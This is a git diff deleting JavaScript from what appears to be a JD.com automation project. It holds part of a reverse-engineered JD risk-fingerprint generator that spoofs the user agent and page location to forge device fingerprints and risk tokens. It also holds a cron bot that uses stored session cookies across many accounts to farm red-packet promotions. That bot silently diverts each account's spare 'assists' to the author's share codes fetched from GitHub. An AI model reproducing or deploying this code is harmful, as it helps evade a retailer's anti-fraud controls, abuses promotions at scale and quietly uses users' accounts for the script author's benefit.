|| 1 == window._is_jdsh_wkwebview ? !0 : !1 - }; - this.getErrorToken = function (n) { - try { - if (n) { - var e = (n + "").match(/"token":"(.*?)"/); - if (e && 1 < e.length) return e[1] - } - } catch (f) { - } - return "" - }; - this.getJdJrBioToken = function (n) { - var e = this; - "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e - .compareVersion(JrBridge._version, "2.0.0") ? console.error( - "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ - type: e.bioConfig.type, - operation: e.bioConfig.operation, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - }, function (f) { - try { - "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token - } catch (r) { - console.error(r) - } - null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { - tk: e.deviceInfo.sdkToken, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) - })) - }; - this.getJdJrSdkCacheToken = function (n) { - var e = this; - try { - "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > - e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ - type: e.bioConfig.type, - operation: 5, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - }, function (f) { - var r = ""; - try { - "object" != typeof f && (f = JSON.parse(f)), r = f.token - } catch (k) { - console.error(k) - } - null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { - tk: r, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) - }) - } catch (f) { - } - }; - this.getJdBioToken = function (n) { - var e = this; - n = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: e.bioConfig.operation, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - } - } - }); - e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: n - }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); - window._bioDeviceCb = function (f) { - try { - var r = "object" == typeof f ? f : JSON.parse(f); - if (void 0 != r && null != r && "0" != r.status) return; - null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = - r.data.token) - } catch (k) { - f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) - } - null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { - tk: e.deviceInfo.sdkToken, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) - } - }; - this.getJdSdkCacheToken = function (n) { - try { - var e = this, - f = JSON.stringify({ - businessType: "bridgeBiologicalProbe", - callBackName: "_bioDeviceSdkCacheCb", - params: { - pin: "", - jsonData: { - type: e.bioConfig.type, - operation: 5, - data: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - }, - biometricData: { - bizId: e.bizId, - duraTime: e.bioConfig.duraTime, - interval: e.bioConfig.interval - } - } - } - }); - e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ - method: "notifyMessageToNative", - params: f - }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); - window._bioDeviceSdkCacheCb = function (r) { - var k = ""; - try { - var g = "object" == typeof r ? r : JSON.parse(r); - if (void 0 != g && null != g && "0" != g.status) return; - k = g.data.token - } catch (m) { - k = e.getErrorToken(r) - } - null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { - tk: k, - t: (new Date).getTime() - }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) - } - } catch (r) { - } - }; - this.store = function (n, e) { - try { - this.setCookie(n, e) - } catch (f) { - } - try { - window.localStorage && window.localStorage.setItem(n, e) - } catch (f) { - } - try { - window.sessionStorage && window.sessionStorage.setItem(n, e) - } catch (f) { - } - try { - window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) - } catch (f) { - } - try { - this.db(n, _JdEid) - } catch (f) { - } - }; - this.getLocal = function (n) { - var e = {}, - f = null; - try { - var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), - "$1"); - 0 !== r.length && (e.cookie = r) - } catch (g) { - } - try { - window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = - window.localStorage.getItem(n)) - } catch (g) { - } - try { - window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ - n]) - } catch (g) { - } - try { - p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) - } catch (g) { - } - try { - d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( - "jdgia_user_data"), e.userData = d.getAttribute(n)) - } catch (g) { - } - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId) - } catch (g) { - } - try { - E.webDbId && (e.webDb = E.webDbId) - } catch (g) { - } - try { - for (var k in e) - if (32 < e[k].length) { - f = e[k]; - break - } - } catch (g) { - } - try { - if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) - } catch (g) { - } - return f - }; - this.createWorker = function () { - if (window.Worker) { - try { - var n = new Blob([ - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ], { - type: "application/javascript" - }) - } catch (e) { - window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = - new BlobBuilder, n.append( - "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" - ), n = n.getBlob() - } - try { - this.worker = new Worker(URL.createObjectURL(n)) - } catch (e) { - } - } - }; - this.reportWorker = function (n, e, f, r) { - try { - null != this.worker && (this.worker.postMessage(JSON.stringify({ - url: n, - data: e, - success: !1, - async: !1 - })), this.worker.onmessage = function (k) { - }) - } catch (k) { - } - } -}; - -function td_collect_exe() { - _fingerprint_step = 8; - var t = td_collect.collect(); - td_collect.collectSdk(); - var u = "string" === typeof orderId ? orderId : "", - v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; - u = { - pin: _jdJrTdCommonsObtainPin(v), - oid: u, - p: "https:" == document.location.protocol ? "s" : "h", - fp: risk_jd_local_fingerprint, - ctype: v, - v: "2.7.10.4", - f: "3" - }; - try { - u.o = _CurrentPageUrl, u.qs = _url_query_str - } catch (w) { - } - _fingerprint_step = 9; - 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); - u.fc = _JdEid; - try { - u.t = jd_risk_token_id - } catch (w) { - } - try { - if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; - else { - var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); - u.qi = void 0 == x ? "" : x - } - } catch (w) { - } - "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); - try { - td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != - td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : - td_collect.isRpTok = !1 - } catch (w) { - td_collect.isRpTok = !1 - } - x = td_collect.tdencrypt(u); - // console.log(u) - return {a: x, d: t} -} - -function _jdJrTdCommonsObtainPin(t) { - var u = ""; - "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : - "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); - return u -}; - -function getBody(userAgent, url = document.location.href) { - navigator.userAgent = userAgent - let href = url - let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) - let [, origin, protocol, host, pathname] = choose; - document.location.href = href - document.location.origin = origin - document.location.protocol = protocol - document.location.host = host - document.location.pathname = pathname - const JF = new JdJrTdRiskFinger(); - let fp = JF.f.get(function (t) { - risk_jd_local_fingerprint = t - return t - }); - let arr = td_collect_exe() - return {fp, ...arr} -} - - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s { - constructor(t) { - this.env = t - } - - send(t, e = "GET") { - t = "string" == typeof t ? {url: t} : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t) { - return this.send.call(this.env, t) - } - - post(t) { - return this.send.call(this.env, t, "POST") - } - } - - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode() { - return "undefined" != typeof module && !!module.exports - } - - isQuanX() { - return "undefined" != typeof $task - } - - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - - isLoon() { - return "undefined" != typeof $loon - } - - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch { - } - return s - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - - getScript(t) { - return new Promise(e => { - this.get({url: t}, (t, s, i) => e(i)) - }) - } - - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: {script_text: t, mock_type: "cron", timeout: r}, - headers: {"X-Key": o, Accept: "*/*"} - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => { - })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => { - })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t)); else if (this.isNode()) { - this.initGotEnv(t); - const {url: s, ...i} = t; - this.got.post(s, i).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return {openUrl: e, mediaUrl: s} - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return {"open-url": e, "media-url": s} - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return {url: e} - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}) { - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/backUp/jd_redPacket.js b/backUp/jd_redPacket.js deleted file mode 100644 index 8c65b4c..0000000 --- a/backUp/jd_redPacket.js +++ /dev/null @@ -1,700 +0,0 @@ -/* -京东全民开红包 -Last Modified time: 2021-05-19 16:27:18 -活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) -未实现功能:领3张券功能 - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -================QuantumultX================== -[task_local] -#京东全民开红包 -1 1,2,23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true -===================Loon============== -[Script] -cron "1 1,2,23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js, tag=京东全民开红包 -===============Surge=============== -[Script] -京东全民开红包 = type=cron,cronexp="1 1,2,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js -====================================小火箭============================= -京东全民开红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js, cronexpr="1 1,2,23 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东全民开红包'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -let isLoginInfo = {} -$.redPacketId = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_red.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_red.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_red.json') - } - $.authorMyShareIds = [...(res || [])]; - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.discount = 0; - await redPacket(); - await showMsg(); - } - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.index = i + 1; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.canHelp = true; - $.redPacketId = [...new Set($.redPacketId)]; - if (!isLoginInfo[$.UserName]) continue - if (cookiesArr && cookiesArr.length >= 2) { - console.log(`\n\n自己账号内部互助`); - for (let j = 0; j < $.redPacketId.length && $.canHelp; j++) { - console.log(`账号 ${$.index} ${$.UserName} 开始给 ${$.redPacketId[j]} 进行助力`) - $.max = false; - await jinli_h5assist($.redPacketId[j]); - await $.wait(2000) - if ($.max) { - $.redPacketId.splice(j, 1) - j-- - continue - } - } - } - if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { - console.log(`\n\n有剩余助力机会则给作者进行助力`); - for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { - console.log(`\n账号 ${$.index} ${$.UserName} 开始给作者 ${$.authorMyShareIds[j]} 进行助力`) - $.max = false; - await jinli_h5assist($.authorMyShareIds[j]); - await $.wait(2000) - if ($.max) { - $.authorMyShareIds.splice(j, 1) - j-- - continue - } - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function redPacket() { - try { - await doLuckDrawFun();//券后9.9抽奖 - await taskHomePage();//查询任务列表 - await doTask();//领取任务,做任务,领取红包奖励 - await h5activityIndex();//查询红包基础信息 - await red();//红包任务(发起助力红包,领取助力红包等) - await h5activityIndex(); - } catch (e) { - $.logErr(e); - } -} -function showMsg() { - console.log(`\n\n${$.name}获得红包:${$.discount}元\n\n`); - // $.msg($.name, '', `${$.name}:${$.discount}元`) -} -async function doLuckDrawFun() { - for (let i = 0; i < 3; i++) { - await doLuckDrawEntrance(); - } -} -function doLuckDrawEntrance() { - return new Promise(resolve => { - const options = { - url: 'https://api.m.jd.com/client.action?functionId=doLuckDrawEntrance&body=%7B%22platformType%22%3A%221%22%7D&appid=XPMSGC2019&client=m&clientVersion=1.0.0&area=19_1601_50258_62858&geo=%5Bobject%20Object%5D&uuid=88732f840b77821b345bf07fd71f609e6ff12f43', - headers: { - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Cookie": cookie, - "Content-Length": "0", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": "jdapp;iPhone;9.5.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;model/iPhone11,8;addressid/2005183373;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Accept-Language": "zh-cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/yj8mbcm6roENn7qhNdhiekyeqtd/index.html", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === '0' && data.busiCode === '0') { - if (data.result.luckyDrawData.actId) { - if (data.result.luckyDrawData.redPacketId) { - console.log(`券后9.9抽奖获得【红包】:${data.result.luckyDrawData.quota}元`); - } else { - console.log(`券后9.9抽奖获得【优惠券】:${data.result.luckyDrawData.discount}元:${data.result.luckyDrawData.prizeName},${data.result.luckyDrawData.quotaDesc}`); - } - } else { - console.log(`券后9.9抽奖获失败:今日3次抽奖机会已用完\n`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function doTask() { - if ($.taskHomePageData && $.taskHomePageData.code === 0) { - $.taskInfo = $.taskHomePageData.data.result.taskInfos; - if ($.taskInfo && $.taskInfo.length > 0) { - console.log(` 任务 状态 红包是否领取`); - for (let item of $.taskInfo) { - console.log(`${item.title.slice(-6)} ${item.alreadyReceivedCount ? item.alreadyReceivedCount: 0}/${item.requireCount} ${item.innerStatus === 4 ? '是':'否'}`) - } - for (let item of $.taskInfo) { - //innerStatus=4已领取红包,3:任务已完成,红包未领取,2:任务已领取,但未完成,7,未领取任务 - if (item.innerStatus === 4) { - console.log(`[${item.title}] 已经领取奖励`) - } else if (item.innerStatus === 3) { - await receiveTaskRedpacket(item.taskType); - } else if (item.innerStatus === 2) { - if (item.taskType !== 0 && item.taskType !== 1) { - console.log(`开始做【${item.title}】任务`); - await active(item.taskType); - console.log(`开始领取【${item.title}】任务所得红包奖励`); - await receiveTaskRedpacket(item.taskType); - } else if (item.taskType === 1) { - //浏览10秒任务 - console.log(`开始做【${item.title}】任务`); - await doAppTask(); - } else { - //TODO 领3张优惠券 - console.log(`[${item.title}] 功能未开发`) - } - } else if (item.innerStatus !== 4) { - console.log(`\n开始领取【${item.title}】任务`); - await startTask(item.taskType); - if (item.taskType !== 0 && item.taskType !== 1) { - console.log(`开始做【${item.title}】任务`); - await active(item.taskType); - console.log(`开始领取【${item.title}】任务所得红包奖励`); - await receiveTaskRedpacket(item.taskType); - } else if (item.taskType === 1) { - //浏览10秒任务 - console.log(`开始做【${item.title}】任务`); - await doAppTask(); - } else { - //TODO 领3张优惠券 - console.log(`[${item.title}] 功能未开发`) - } - } - } - } - } else { - console.log(`\n获取任务列表异常:${JSON.stringify($.taskHomePageData)}\n`) - } -} -async function red() { - $.hasSendNumber = 0; - $.assistants = 0; - $.waitOpenTimes = 0; - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { - const rewards = $.h5activityIndex.data.result.rewards || []; - $.hasSendNumber = $.h5activityIndex.data.result.hasSendNumber; - if ($.h5activityIndex.data.result.redpacketConfigFillRewardInfo) { - for (let key of Object.keys($.h5activityIndex.data.result.redpacketConfigFillRewardInfo)) { - let vo = $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[key] - $.assistants += vo.hasAssistNum - if (vo.packetStatus === 1) { - $.waitOpenTimes += 1 - } - } - } - } - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 10002) { - //可发起拆红包活动 - await h5launch(); - } else if ($.h5activityIndex && $.h5activityIndex.data && ($.h5activityIndex.data.biz_code === 20001)) { - //20001:红包活动正在进行,可拆 - const redPacketId = $.h5activityIndex.data.result.redpacketInfo.id; - if (redPacketId) $.redPacketId.push(redPacketId); - 